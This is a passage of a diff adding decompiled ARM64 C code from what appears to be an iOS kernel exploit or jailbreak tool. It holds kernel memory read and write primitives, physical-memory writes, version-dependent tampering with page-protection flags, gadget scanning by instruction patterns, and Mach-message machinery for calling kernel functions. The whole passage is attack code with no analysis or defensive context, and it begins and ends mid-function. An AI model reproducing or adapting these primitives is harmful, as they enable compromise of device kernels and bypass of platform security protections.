*)(a2 + 0x18) | (1LL << v8); + *(_QWORD *)(a2 + 0x18) = v3; + v2 = *(_DWORD *)(a2 + 0x20); + goto LABEL_10; + } + } + return v10 | 0x80000000; +} + +//----- (000000000000FE30) ---------------------------------------------------- +__int64 __fastcall sub_FE30(__int64 a1) +{ + mem_entry_name_port_t v1; // w5 + __int64 v2; // x20 + vm_size_t v3; // x19 + kern_return_t v4; // w0 + int v5; // w8 + vm_address_t address; // [xsp+18h] [xbp-28h] BYREF + + v1 = *(_DWORD *)(a1 + 0x34F0); + if ( v1 + 1 < 2 ) + return 0xAD001LL; + address = 0LL; + v3 = vm_page_size; + v4 = vm_map(mach_task_self_, &address, vm_page_size, 0LL, 1, v1, 0LL, 0, 3, 3, 2u); + if ( v4 ) + return v4 | 0x80000000; + if ( madvise((void *)address, v3, 3) ) + { + v5 = *__error(); + if ( v5 < 0 ) + v5 = -v5; + v2 = v5 | 0x40000000u; + } + else + { + v2 = 0LL; + } + vm_deallocate(mach_task_self_, address, v3); + return v2; +} + +//----- (000000000000FF10) ---------------------------------------------------- +__int64 __fastcall sub_FF10(__int64 a1, __int64 a2, __int64 a3, _QWORD *a4) +{ + unsigned __int64 v4; // x11 + int *v5; // x8 + int v6; // w10 + int v7; // w14 + int v8; // w11 + int v9; // w12 + int v10; // w13 + __int64 v11; // x9 + __int64 v12; // x8 + bool v13; // cc + __int64 result; // x0 + + v4 = *(_QWORD *)(a1 + 0x158); + if ( v4 >= 0x27120080D00000LL ) + { + v5 = (int *)(a2 + 0x7C); + v6 = *(_DWORD *)(a2 + 0x7C); + v7 = 0x800; + v8 = 0x1000000; + v9 = 0x80; + v10 = 0x4000; + v11 = 0x58LL; + goto LABEL_23; + } + if ( v4 <= 0x225C23801AF00DLL ) + { + v5 = (int *)(a2 + 0x74); + v6 = *(_DWORD *)(a2 + 0x74); + v11 = 0x50LL; +LABEL_11: + v13 = v4 > 0x271200073FFFFFLL; + if ( v4 <= 0x271200073FFFFFLL ) + v10 = 0x80000; + else + v10 = 0x4000; + if ( v4 <= 0x271200073FFFFFLL ) + v9 = 0x1000; + else + v9 = 0x80; + if ( v4 <= 0x271200073FFFFFLL ) + v8 = 0x20000000; + else + v8 = 0x1000000; + if ( v13 ) + v7 = 0x800; + else + v7 = 0x10000; + goto LABEL_23; + } + v12 = 0x74LL; + if ( *(int *)(a1 + 0x140) < 0x2712 ) + v12 = 0x7CLL; + v11 = 0x50LL; + if ( *(int *)(a1 + 0x140) < 0x2712 ) + v11 = 0x58LL; + v5 = (int *)(a2 + v12); + v6 = *v5; + if ( v4 <= 0x2712000C6FFFFFLL ) + goto LABEL_11; + v7 = 0x800; + v8 = 0x1000000; + v9 = 0x80; + v10 = 0x4000; +LABEL_23: + if ( ((v7 | v10) & ~v6) != 0 ) + return 0x28011LL; + *v5 = v9 | v6 | v8; + if ( a4 ) + *a4 = *(_QWORD *)(a2 + v11); + result = 0LL; + *(_QWORD *)(a2 + v11) = a3; + return result; +} + +//----- (000000000001003C) ---------------------------------------------------- +__int64 __fastcall sub_1003C(__int64 a1, __int64 a2, __int64 a3, int a4, __int64 a5, __int64 a6, unsigned __int64 a7) +{ + unsigned __int64 v14; // x0 + vm_size_t v15; // x8 + unsigned __int64 v16; // x8 + unsigned __int64 v17; // x8 + __int64 v18; // x9 + __int64 result; // x0 + int v20; // w10 + int v21; // w12 + int v22; // w8 + int v23; // [xsp+Ch] [xbp-44h] BYREF + + v14 = sub_35A50(a1, 0, &v23); + if ( !v14 ) + return 0xAD001LL; + *(_OWORD *)(a5 + 0x10) = 0u; + *(_OWORD *)(a5 + 0x20) = 0u; + *(_QWORD *)(a5 + 0x30) = 0LL; + *(_OWORD *)a5 = 0u; + v15 = a7 / vm_page_size; + *(_QWORD *)(a5 + 0x18) = 0LL; + *(_QWORD *)(a5 + 0x30) = v15; + v16 = (a3 - v14) >> v23; + *(_DWORD *)(a5 + 0x2C) = 0x140; + *(_DWORD *)(a5 + 0x20) = v16; + *(_DWORD *)(a5 + 0x24) = 0x2000000; + *(_QWORD *)(a2 + 0x20) = a6; + if ( !a4 ) + return 0LL; + v17 = *(_QWORD *)(a1 + 0x158); + if ( v17 <= 0x27120080CFFFFFLL ) + { + if ( v17 < 0x225C23801AF00ELL ) + { + v18 = 0x74LL; + } + else + { + v18 = 0x74LL; + if ( *(int *)(a1 + 0x140) < 0x2712 ) + v18 = 0x7CLL; + } + } + else + { + v18 = 0x7CLL; + } + v20 = *(_DWORD *)(a2 + v18); + if ( v17 <= 0x271200073FFFFFLL ) + v21 = 0x90000; + else + v21 = 0x4800; + if ( (v21 & ~v20) != 0 ) + return 0x28011LL; + result = 0LL; + if ( v17 <= 0x271200073FFFFFLL ) + v22 = 0x1000; + else + v22 = 0x80; + *(_DWORD *)(a2 + v18) = v20 | v22; + return result; +} + +//----- (00000000000101AC) ---------------------------------------------------- +void __fastcall sub_101AC(__CFDictionary *a1, const void *a2) +{ + CFNumberRef v4; // x21 + int valuePtr; // [xsp+Ch] [xbp-24h] BYREF + + valuePtr = 0x20; + v4 = CFNumberCreate(0LL, kCFNumberIntType, &valuePtr); + CFDictionarySetValue(a1, a2, v4); + CFRelease(v4); +} + +//----- (0000000000010214) ---------------------------------------------------- +__int64 __fastcall sub_10214(__int64 a1, __int64 a2, unsigned __int64 a3) +{ + __int64 v5; // x19 + __int64 v6; // x22 + _BOOL4 has_flag; // w0 + __int64 v8; // x8 + unsigned __int64 v9; // x0 + unsigned __int64 v10; // x22 + vm_size_t v11; // x21 + mem_entry_name_port_t v12; // w5 + kern_return_t v14; // w0 + int v15; // w8 + vm_address_t v16; // x9 + vm_address_t v17; // x9 + __int64 v18; // [xsp+10h] [xbp-70h] BYREF + __int64 v19; // [xsp+18h] [xbp-68h] BYREF + _QWORD v20[7]; // [xsp+20h] [xbp-60h] BYREF + vm_address_t address; // [xsp+58h] [xbp-28h] BYREF + + v5 = 0x2800FLL; + if ( (unsigned int)kreadbuf_last_1( + a1, + 8LL * (unsigned int)((a3 - *(_QWORD *)(a2 + 0x3500)) >> vm_page_shift) + *(_QWORD *)(a2 + 0x3508), + 8LL, + (__int64)&v19) ) + { + if ( (~(_BYTE)v19 & 3) != 0 ) + return 0xAD014LL; + v6 = v19 & 0xFFFFFFFFFFFCLL; + has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x8000); + v8 = 0x20LL; + if ( !has_flag ) + v8 = 8LL; + if ( kread64((_DWORD *)a1, v6 + v8 - 0xFFFFFFFFFFE8LL, &v18) ) + { + v9 = sub_385F4(a1, v18 + ((a3 >> 0xA) & 0xC)); + if ( !v9 ) + return 0x28026LL; + v10 = v9; + address = 0LL; + v11 = vm_page_size; + v12 = *(_DWORD *)(a1 + 0x58); + if ( v12 + 1 > 1 ) + { + v14 = vm_map(mach_task_self_, &address, vm_page_size, 0LL, 1, v12, v9 & ~*(_QWORD *)(a1 + 0x188), 0, 3, 3, 2u); + if ( v14 ) + return v14 | 0x80000000; + } + else if ( (unsigned int)physwrite_maybe(a1, v9, (__int64)v20) ) + { + return 0xFFFFFFFFLL; + } + v15 = *(_DWORD *)(a1 + 0x58); + if ( (unsigned int)(v15 + 1) >= 2 ) + v16 = address; + else + v16 = v20[0]; + v17 = (*(_QWORD *)(a1 + 0x188) & v10) + v16; + if ( *(_WORD *)v17 ) + { + v5 = 0LL; + atomic_fetch_add((atomic_ushort *volatile)v17, 0xFFFFu); + *(_WORD *)(v17 + 2) = 0x4000; + v15 = *(_DWORD *)(a1 + 0x58); + } + else + { + v5 = 0x28011LL; + } + if ( (unsigned int)(v15 + 1) >= 2 ) + vm_deallocate(mach_task_self_, address, v11); + else + sub_38BCC(a1, (__int64)v20); + } + } + return v5; +} + +//----- (0000000000010414) ---------------------------------------------------- +__int64 __fastcall sub_10414(__int64 a1, __int64 a2, unsigned __int64 *a3) +{ + int v5; // w8 + __int64 result; // x0 + __int64 v7; // x8 + _BOOL4 v9; // w8 + unsigned __int64 v10; // [xsp+8h] [xbp-28h] BYREF + + v5 = *(_DWORD *)(a1 + 0x140); + result = 0x2802CLL; + if ( v5 <= 0x2257 ) + { + if ( (unsigned int)(v5 - 0x1F53) >= 2 ) + { + if ( v5 != 0x1C1B ) + return result; + v7 = 0xF8LL; + goto LABEL_12; + } +LABEL_10: + v7 = 0x100LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) + v7 = 0xF8LL; +LABEL_12: + if ( !kread64((_DWORD *)a1, v7 + a2, (__int64 *)&v10) ) + return 0x2800FLL; + if ( *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL + || (v9 = kread64((_DWORD *)a1, v10, (__int64 *)&v10), result = 0x2800FLL, v9) ) + { + if ( validate_addr(a1, v10) ) + { + result = 0LL; + *a3 = v10; + } + else + { + return 0x28026LL; + } + } + return result; + } + if ( v5 == 0x225C || v5 == 0x2258 ) + goto LABEL_10; + return result; +} + +//----- (0000000000010534) ---------------------------------------------------- +__int64 __fastcall sub_10534(_DWORD *a1, __int64 a2, unsigned int a3, __int64 *a4) +{ + __int64 v7; // x19 + __int64 v9; // [xsp+8h] [xbp-38h] BYREF + __int64 v10; // [xsp+10h] [xbp-30h] BYREF + unsigned __int64 v11; // [xsp+18h] [xbp-28h] BYREF + + *a4 = 0LL; + v9 = 0LL; + v7 = sub_10414((__int64)a1, a2, &v11); + if ( !(_DWORD)v7 ) + { + v7 = 0x2800FLL; + if ( kread64(a1, v11 + 8LL * a3, &v10) ) + { + if ( validate_addr((__int64)a1, v10) ) + { + if ( kread64(a1, v10 + 0x10, &v9) ) + { + validate_addr((__int64)a1, v9); + if ( kread64(a1, v9 + 0x38, a4) ) + return 0LL; + else + return 0x2800FLL; + } + } + else + { + return 0x28026LL; + } + } + } + return v7; +} + +//----- (0000000000010604) ---------------------------------------------------- +__int64 __fastcall kwritebuf_0_or_5(__int64 a1, __int64 a2, __int64 a3, __int64 a4) +{ + if ( (unsigned int)kwritebuf_last_1(*(_QWORD *)(a1 + 0x20), a2, a3, a4) ) + return 0LL; + else + return 5LL; +} + +//----- (000000000001062C) ---------------------------------------------------- +__int64 __fastcall sub_1062C(__int64 a1, __int64 a2, __int64 a3, __int64 a4) +{ + if ( (unsigned int)kreadbuf_last_1(*(_QWORD *)(a1 + 0x20), a2, a4, a3) ) + return 0LL; + else + return 5LL; +} + +//----- (0000000000010660) ---------------------------------------------------- +__int64 __fastcall sub_10660(__int64 a1, __int64 a2) +{ + __int64 v3; // [xsp+8h] [xbp-8h] BYREF + + if ( (unsigned int)kreadbuf_last_1(*(_QWORD *)(a1 + 0x20), a2, 8LL, (__int64)&v3) ) + return v3; + else + return 0LL; +} + +//----- (0000000000010698) ---------------------------------------------------- +__int64 __fastcall kwrite64_via_kwritebuf(__int64 a1, __int64 a2, __int64 a3) +{ + __int64 v4; // [xsp+8h] [xbp-8h] BYREF + + v4 = a3; + if ( (unsigned int)kwritebuf_last_1(*(_QWORD *)(a1 + 0x20), a2, (__int64)&v4, 8LL) ) + return 0LL; + else + return 5LL; +} + +//----- (00000000000106D4) ---------------------------------------------------- +__int64 __fastcall kread32(__int64 a1, unsigned __int64 a2) +{ + unsigned int v3; // [xsp+Ch] [xbp-4h] BYREF + + if ( kread32_outptr(*(_QWORD *)(a1 + 0x20), a2, &v3) ) + return v3; + else + return 0LL; +} + +//----- (0000000000010708) ---------------------------------------------------- +__int64 __fastcall sub_10708(__int64 a1, mach_vm_address_t a2, int a3) +{ + if ( noppl_kwrite32(*(_QWORD *)(a1 + 0x20), a2, a3) ) + return 0LL; + else + return 5LL; +} + +//----- (0000000000010730) ---------------------------------------------------- +__int64 __fastcall sub_10730(_QWORD *a1, _QWORD **a2) +{ + __int128 v4; // q0 + unsigned __int64 v5; // x0 + __int128 v7; // [xsp+0h] [xbp-70h] BYREF + __int128 v8; // [xsp+10h] [xbp-60h] + __int128 v9; // [xsp+20h] [xbp-50h] BYREF + __int128 v10; // [xsp+30h] [xbp-40h] + + a1[1] = 0xB0LL; + v9 = xmmword_42F30; + LODWORD(v10) = 0xD280000F; + v7 = xmmword_42F44; + LODWORD(v8) = 0xFFFFFC1F; + *a1 = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 5u) + 4; + v9 = xmmword_42F58; + v10 = unk_42F68; + *(_QWORD *)&v4 = 0xFFFFFFFFFFFFFFFFLL; + *((_QWORD *)&v4 + 1) = 0xFFFFFFFFFFFFFFFFLL; + v7 = v4; + v8 = v4; + v5 = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 8u); + a1[2] = v5; + a1[3] = v5 + 0x14; + a1[8] = v5 + 0x1C; + *(_QWORD *)&v9 = 0xF9000010DAC10230LL; + DWORD2(v9) = 0xD65F03C0; + *(_QWORD *)&v7 = 0xFFFFFFFFFFFFFFFFLL; + DWORD2(v7) = 0xFFFFFFFF; + a1[4] = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 3u); + *(_QWORD *)&v9 = 0xF9000010DAC10A30LL; + DWORD2(v9) = 0xD65F03C0; + *(_QWORD *)&v7 = 0xFFFFFFFFFFFFFFFFLL; + DWORD2(v7) = 0xFFFFFFFF; + a1[5] = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 3u); + *(_QWORD *)&v9 = 0xD538D083D5034FDFLL; + DWORD2(v9) = 0x910002BF; + *(_QWORD *)&v7 = 0xFFFFFFFFFFFFFFFFLL; + DWORD2(v7) = 0xFFFFFFFF; + a1[6] = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 3u); + v9 = xmmword_42F78; + LODWORD(v10) = 0xD73F0911; + v7 = xmmword_42F8C; + LODWORD(v8) = 0xFFFFFFFF; + a1[7] = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 5u); + return 0LL; +} +// 42F30: using guessed type __int128 xmmword_42F30; +// 42F44: using guessed type __int128 xmmword_42F44; +// 42F58: using guessed type __int128 xmmword_42F58; +// 42F78: using guessed type __int128 xmmword_42F78; +// 42F8C: using guessed type __int128 xmmword_42F8C; + +//----- (000000000001091C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1091C(__int64 a1, int a2) +{ + size_t v4; // x20 + mach_msg_header_t *v5; // x0 + mach_port_name_t v6; // w8 + __int64 v7; // x20 + __int64 v8; // x0 + _DWORD *v9; // x21 + __int64 v10; // x0 + unsigned __int64 v11; // x21 + mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF + + name = 0; + mach_port_allocate(mach_task_self_, 1u, &name); + v4 = (unsigned int)(a2 + 0x18); + v5 = (mach_msg_header_t *)calloc(1uLL, v4); + v6 = name; + v5->msgh_size = v4; + v5->msgh_remote_port = v6; + v5->msgh_bits = 0x15; + mach_msg_send(v5); + v7 = sub_224AC(*(_QWORD *)(a1 + 8), name) + 0x20; + v8 = sub_10660(*(_QWORD *)(a1 + 8), v7); + v9 = *(_DWORD **)(*(_QWORD *)(a1 + 8) + 0x20LL); + v10 = sub_10660(*(_QWORD *)(a1 + 8), v8 + 0x10); + v11 = sub_29D2C(v9, v10); + kwrite64_via_kwritebuf(*(_QWORD *)(a1 + 8), v7, 0LL); + mach_port_destroy(mach_task_self_, name); + return v11 + 0x20; +} + +//----- (00000000000109F8) ---------------------------------------------------- +__int64 __fastcall sub_109F8(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, __int64 a5, __int64 a6, __int64 a7) +{ + __int64 v14; // x26 + _QWORD *v15; // x8 + __int64 v16; // x9 + mach_msg_header_t *v17; // x0 + mach_port_name_t v18; // w4 + __int64 vars8; // [xsp+48h] [xbp+8h] + + v14 = *(_QWORD *)(a1 + 0x10); + *(_DWORD *)(v14 + 0x408) = *(_DWORD *)(v14 + 8); + *(_DWORD *)(v14 + 0x40C) = 0; + *(_DWORD *)(v14 + 0x414) = *(_DWORD *)(v14 + 0x14) + 0x64; + memcpy((void *)(v14 + 0x42C), (const void *)(v14 + 0x38), 0x210uLL); + *(NDR_record_t *)(v14 + 0x418) = NDR_record; + *(_DWORD *)(v14 + 0x428) = 0x84; + *(_QWORD *)(v14 + 0x420) = 0x1100000000LL; + *(_QWORD *)(v14 + 0x400) = 0x23C00000012LL; + memcpy(*(void **)(a1 + 0x18), (const void *)(a1 + 0x2C), 0x130uLL); + v16 = *(_QWORD *)(a1 + 0x10); + v15 = *(_QWORD **)(a1 + 0x18); + v15[1] = a2; + v15[2] = a3; + v15[3] = a4; + v15[4] = a5; + v15[5] = a6; + v15[6] = a7; + mach_msg_send((mach_msg_header_t *)(v16 + 0x400)); + bzero(*(void **)(a1 + 0x10), 0x800uLL); + v17 = *(mach_msg_header_t **)(a1 + 0x10); + v18 = *(_DWORD *)(a1 + 0x170); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return mach_msg(v17, 2, 0, 0x400u, v18, 0, 0); +} +// 10AF8: variable 'vars8' is possibly undefined + +//----- (0000000000010B08) ---------------------------------------------------- +__int64 __fastcall sub_10B08(_QWORD *a1, __int64 a2, unsigned int a3, __int64 a4, __int64 a5, __int64 a6) +{ + __int64 v7; // x9 + __int64 v8; // x10 + __int64 v9; // x6 + __int64 v10; // x9 + __int64 result; // x0 + + v7 = 0LL; + v8 = a1[0x2C]; + do + { + *(_QWORD *)(v8 + 8 + v7) = *(_QWORD *)(a6 + v7); + v7 += 8LL; + } + while ( v7 != 0xF0 ); + *(_QWORD *)(v8 + 0x100) = a5; + *(_QWORD *)((char *)a1 + 0xDC) = a1[0x2D]; + v10 = *(_QWORD *)(a6 + 0x80); + v9 = *(_QWORD *)(a6 + 0x88); + *(_QWORD *)(v8 + 0x108) = a2; + *(_DWORD *)(v8 + 0x110) = a3; + *(_QWORD *)(v8 + 0xF8) = a4; + *(_QWORD *)(v8 + 0x88) = v10; + *(_QWORD *)(v8 + 0x90) = v9; + result = sub_109F8((__int64)a1, a1[0x2D], a2, a3, a4, v10, v9); + *(_QWORD *)((char *)a1 + 0xDC) = a1[0x2F]; + return result; +} + +//----- (0000000000010B90) ---------------------------------------------------- +__int64 __fastcall sub_10B90(__int64 a1, __int64 a2, __int64 a3) +{ + *(_QWORD *)(a3 + 0xA8) = *(_QWORD *)(a1 + 0x178); + return sub_10B08((_QWORD *)a1, a2, *(_DWORD *)(a1 + 0x290), *(_QWORD *)(a1 + 0x270), *(_QWORD *)(a1 + 0x278), a3); +} + +//----- (0000000000010C2C) ---------------------------------------------------- +__int64 __fastcall sub_10C2C(__int64 a1, __int64 a2, int a3, __int64 a4) +{ + __int64 v7; // x4 + __int64 v8; // x22 + __int64 v9; // x23 + __int64 v10; // x24 + __int64 v11; // x8 + __int64 v12; // x10 + __int64 v13; // x0 + __int64 v14; // x1 + _OWORD v16[9]; // [xsp+0h] [xbp-140h] BYREF + __int128 v17; // [xsp+90h] [xbp-B0h] + __int128 v18; // [xsp+A0h] [xbp-A0h] + __int128 v19; // [xsp+B0h] [xbp-90h] + __int128 v20; // [xsp+C0h] [xbp-80h] + __int128 v21; // [xsp+D0h] [xbp-70h] + __int128 v22; // [xsp+E0h] [xbp-60h] + __int64 vars8; // [xsp+148h] [xbp+8h] + + v21 = 0u; + v22 = 0u; + v19 = 0u; + v20 = 0u; + v17 = 0u; + v18 = 0u; + memset(v16, 0, sizeof(v16)); + v7 = *(_QWORD *)(a1 + 0x278); + if ( v7 ) + { + v8 = *(_QWORD *)(a1 + 0x278); + if ( (*(_BYTE *)(a1 + 0x28C) & 1) == 0 ) + v8 = *(_QWORD *)(a1 + 0x278); + } + else + { + v8 = 0LL; + } + if ( a3 >= 1 ) + { + v9 = 0LL; + v10 = (unsigned int)a3; + do + { + if ( (unsigned int)v9 < 8 || (_DWORD)v9 == 0xF ) + { + *((_QWORD *)v16 + v9) = *(_QWORD *)(a4 + 8 * v9); + } + else + { + kwrite64_via_kwritebuf(*(_QWORD *)(a1 + 8), v8, *(_QWORD *)(a4 + 8 * v9)); + v8 += 8LL; + } + ++v9; + } + while ( v10 != v9 ); + v7 = *(_QWORD *)(a1 + 0x278); + } + v11 = *(_QWORD *)(a1 + 0x298); + v12 = *(_QWORD *)(a1 + 0x178); + *((_QWORD *)&v17 + 1) = v11 + 0xEFE8; + *((_QWORD *)&v18 + 1) = v12; + *((_QWORD *)&v19 + 1) = v11 + 0xEF80; + sub_10B08((_QWORD *)a1, a2, *(_DWORD *)(a1 + 0x294), qword_48038, v7, (__int64)v16); + v13 = *(_QWORD *)(a1 + 8); + v14 = *(_QWORD *)(a1 + 0x298) + 0xF000LL; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_10660(v13, v14); +} +// 48038: using guessed type __int64 qword_48038; + +//----- (0000000000010DEC) ---------------------------------------------------- +__int64 __fastcall sub_10DEC(__int64 a1, __int64 a2, _QWORD *a3) +{ + __int64 v3; // x8 + _QWORD *v4; // x10 + _OWORD v7[14]; // [xsp+10h] [xbp-100h] BYREF + __int64 v8; // [xsp+F0h] [xbp-20h] + + v3 = 0LL; + v8 = 0LL; + memset(v7, 0, sizeof(v7)); + do + { + v4 = a3++; + *(_QWORD *)((char *)v7 + v3) = *v4; + v3 += 8LL; + } + while ( v3 != 0xE8 ); + return (*(__int64 (__fastcall **)(__int64, __int64, __int64, _OWORD *))(*(_QWORD *)a1 + 8LL))(a1, a2, 0x1DLL, v7); +} + +//----- (0000000000010EA8) ---------------------------------------------------- +__int64 __fastcall sub_10EA8(__int64 a1, __int64 a2, __int64 a3) +{ + __int64 v4; // x0 + __int64 v5; // x1 + __int64 v7; // [xsp+8h] [xbp-108h] BYREF + __int128 v8; // [xsp+10h] [xbp-100h] + __int128 v9; // [xsp+20h] [xbp-F0h] + __int128 v10; // [xsp+30h] [xbp-E0h] + __int128 v11; // [xsp+40h] [xbp-D0h] + __int128 v12; // [xsp+50h] [xbp-C0h] + __int128 v13; // [xsp+60h] [xbp-B0h] + __int128 v14; // [xsp+70h] [xbp-A0h] + __int128 v15; // [xsp+80h] [xbp-90h] + __int128 v16; // [xsp+90h] [xbp-80h] + __int128 v17; // [xsp+A0h] [xbp-70h] + __int128 v18; // [xsp+B0h] [xbp-60h] + __int128 v19; // [xsp+C0h] [xbp-50h] + __int128 v20; // [xsp+D0h] [xbp-40h] + __int128 v21; // [xsp+E0h] [xbp-30h] + __int64 v22; // [xsp+F0h] [xbp-20h] + __int64 vars8; // [xsp+118h] [xbp+8h] + + v14 = 0u; + v15 = 0u; + v16 = 0u; + v22 = 0LL; + v21 = 0u; + v20 = 0u; + v19 = 0u; + v18 = 0u; + v17 = 0u; + v12 = 0u; + v13 = 0u; + v10 = 0u; + v11 = 0u; + v8 = 0u; + v9 = 0u; + v7 = *(_QWORD *)(a1 + 0x298) + 0xF000LL; + *((_QWORD *)&v15 + 1) = a2; + *(_QWORD *)&v16 = a3; + sub_10B90(a1, qword_48020, (__int64)&v7); + v4 = *(_QWORD *)(a1 + 8); + v5 = *(_QWORD *)(a1 + 0x298) + 0xF000LL; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_10660(v4, v5); +} +// 48020: using guessed type __int64 qword_48020; + +//----- (0000000000010F6C) ---------------------------------------------------- +__int64 __fastcall sub_10F6C(__int64 a1, __int64 a2) +{ + return (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 0x10LL))(a1, a2, 0LL); +} + +//----- (0000000000010F84) ---------------------------------------------------- +__int64 __fastcall sub_10F84(__int64 a1, __int64 a2, __int64 a3) +{ + __int64 v4; // x0 + __int64 v5; // x1 + __int64 v7; // [xsp+8h] [xbp-118h] BYREF + __int128 v8; // [xsp+10h] [xbp-110h] + __int128 v9; // [xsp+20h] [xbp-100h] + __int128 v10; // [xsp+30h] [xbp-F0h] + __int128 v11; // [xsp+40h] [xbp-E0h] + __int128 v12; // [xsp+50h] [xbp-D0h] + __int128 v13; // [xsp+60h] [xbp-C0h] + __int128 v14; // [xsp+70h] [xbp-B0h] + __int128 v15; // [xsp+80h] [xbp-A0h] + __int128 v16; // [xsp+90h] [xbp-90h] + __int128 v17; // [xsp+A0h] [xbp-80h] + __int128 v18; // [xsp+B0h] [xbp-70h] + __int128 v19; // [xsp+C0h] [xbp-60h] + __int128 v20; // [xsp+D0h] [xbp-50h] + __int128 v21; // [xsp+E0h] [xbp-40h] + __int64 v22; // [xsp+F0h] [xbp-30h] + __int64 vars8; // [xsp+128h] [xbp+8h] + + v14 = 0u; + v15 = 0u; + v16 = 0u; + v22 = 0LL; + v21 = 0u; + v20 = 0u; + v19 = 0u; + v18 = 0u; + v17 = 0u; + v12 = 0u; + v13 = 0u; + v10 = 0u; + v11 = 0u; + v8 = 0u; + v9 = 0u; + v7 = *(_QWORD *)(a1 + 0x298) + 0xF100LL; + *((_QWORD *)&v15 + 1) = a2; + *(_QWORD *)&v16 = a3; + sub_10B90(a1, qword_48028, (__int64)&v7); + v4 = *(_QWORD *)(a1 + 8); + v5 = *(_QWORD *)(a1 + 0x298) + 0xF100LL; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_10660(v4, v5); +} +// 48028: using guessed type __int64 qword_48028; + +//----- (0000000000011054) ---------------------------------------------------- +__int64 __fastcall sub_11054(__int64 *a1, __int64 a2, __int64 a3) +{ + _QWORD v5[2]; // [xsp+8h] [xbp-48h] BYREF + __int128 v6; // [xsp+18h] [xbp-38h] + __int128 v7; // [xsp+28h] [xbp-28h] + + v5[0] = a1[0x53] + 0xEFD8; + v5[1] = a3; + v6 = 0u; + v7 = 0u; + (*(void (__fastcall **)(__int64 *, __int64, __int64, _QWORD *))(*a1 + 8))(a1, qword_48018, 6LL, v5); + return sub_10660(a1[1], a1[0x53] + 0xF100); +} +// 48018: using guessed type __int64 qword_48018; + +//----- (00000000000110FC) ---------------------------------------------------- +__int64 __fastcall sub_110FC( + __int64 a1, + __int64 a2, + __int64 a3, + __int64 a4, + __int64 a5, + __int64 a6, + __int64 a7, + __int64 a8, + __int64 a9) +{ + __int64 v9; // x8 + __int64 *v10; // x10 + __int64 *v12; // [xsp+8h] [xbp-98h] + _OWORD v13[7]; // [xsp+10h] [xbp-90h] BYREF + __int64 v14; // [xsp+80h] [xbp-20h] + __int64 v15; // [xsp+88h] [xbp-18h] + + v9 = 0LL; + v12 = &a9; + v14 = 0LL; + memset(v13, 0, sizeof(v13)); + do + { + v10 = v12++; + *(_QWORD *)((char *)v13 + v9) = *v10; + v9 += 8LL; + } + while ( v9 != 0x40 ); + v15 = a2; + return (*(__int64 (__fastcall **)(__int64, __int64, __int64, _OWORD *))(*(_QWORD *)a1 + 8LL))( + a1, + qword_48000, + 0x10LL, + v13); +} +// 48000: using guessed type __int64 qword_48000; + +//----- (00000000000111B4) ---------------------------------------------------- +__int64 __fastcall sub_111B4(__int64 a1) +{ + return (*(__int64 (**)(void))(a1 + 0x10))(); +} + +//----- (00000000000111C0) ---------------------------------------------------- +__int64 __fastcall sub_111C0(__int64 a1) +{ + __int64 *v2; // x20 + unsigned __int64 v3; // x24 + __int64 v4; // x0 + __int64 v5; // x23 + unsigned int v6; // w0 + unsigned __int64 v7; // x27 + __int64 v8; // x22 + unsigned int v9; // w0 + int v10; // w21 + __int64 v11; // x0 + __int64 v12; // x8 + unsigned __int64 v13; // x22 + unsigned __int64 v14; // x25 + unsigned __int64 v15; // x27 + unsigned __int64 v16; // x0 + bool v17; // cf + unsigned int v19; // w0 + unsigned __int64 v20; // x27 + int v21; // w21 + thread_act_t v22; // w1 + unsigned __int64 v23; // x25 + __int64 v24; // x22 + unsigned __int64 v25; // x0 + vm_offset_t v26; // x26 + vm_address_t v27; // x26 + thread_act_t v28; // w22 + unsigned __int64 v29; // x22 + unsigned __int64 i; // x24 + int v31; // w0 + int v32; // w0 + int v33; // w0 + unsigned int v34; // w8 + __int64 *v35; // x24 + vm_address_t v36; // x28 + thread_act_t v37; // w0 + __int64 v38; // x22 + mach_port_t v39; // w0 + mach_vm_address_t v40; // x22 + __int64 v41; // x26 + int v42; // w8 + int v43; // w8 + __int64 v44; // x22 + __int64 v45; // x22 + unsigned int v46; // w1 + __int64 v47; // x8 + __int64 v48; // x28 + thread_act_t v51; // w0 + __int64 j; // x22 + thread_act_t v53; // w0 + int v54; // w8 + _DWORD *v55; // x0 + int v56; // w22 + _BOOL4 has_flag; // w0 + __int64 v58; // x9 + unsigned __int64 v59; // x9 + int v60; // w10 + int v61; // w24 + unsigned __int64 v62; // x22 + unsigned int v63; // w0 + unsigned __int64 v64; // x22 + unsigned __int64 v65; // x25 + unsigned int v66; // w0 + unsigned __int64 v67; // x8 + __int64 v68; // x22 + __int64 v69; // x0 + unsigned __int64 v70; // x0 + _DWORD *v71; // x22 + __int64 v72; // x0 + unsigned __int64 v73; // x0 + _DWORD *v74; // x22 + __int64 v75; // x0 + mach_vm_address_t v76; // x1 + unsigned __int64 v77; // x22 + __int64 v78; // x25 + __int64 v79; // x8 + _DWORD *v80; // x9 + _QWORD *v81; // x10 + _QWORD *v82; // x8 + int v83; // w11 + __int64 v84; // x0 + __int64 v85; // x1 + mach_msg_header_t *v86; // x0 + vm_offset_t v87; // x22 + __int64 v88; // x24 + vm_address_t v89; // x8 + __int64 v90; // x22 + __int64 v91; // x24 + __int64 v92; // x0 + void *v94; // [xsp+40h] [xbp-6C0h] + __int64 v95; // [xsp+58h] [xbp-6A8h] + __int64 v96; // [xsp+98h] [xbp-668h] + __int64 v97; // [xsp+A0h] [xbp-660h] + vm_address_t v98; // [xsp+A8h] [xbp-658h] + unsigned __int64 v99; // [xsp+A8h] [xbp-658h] + 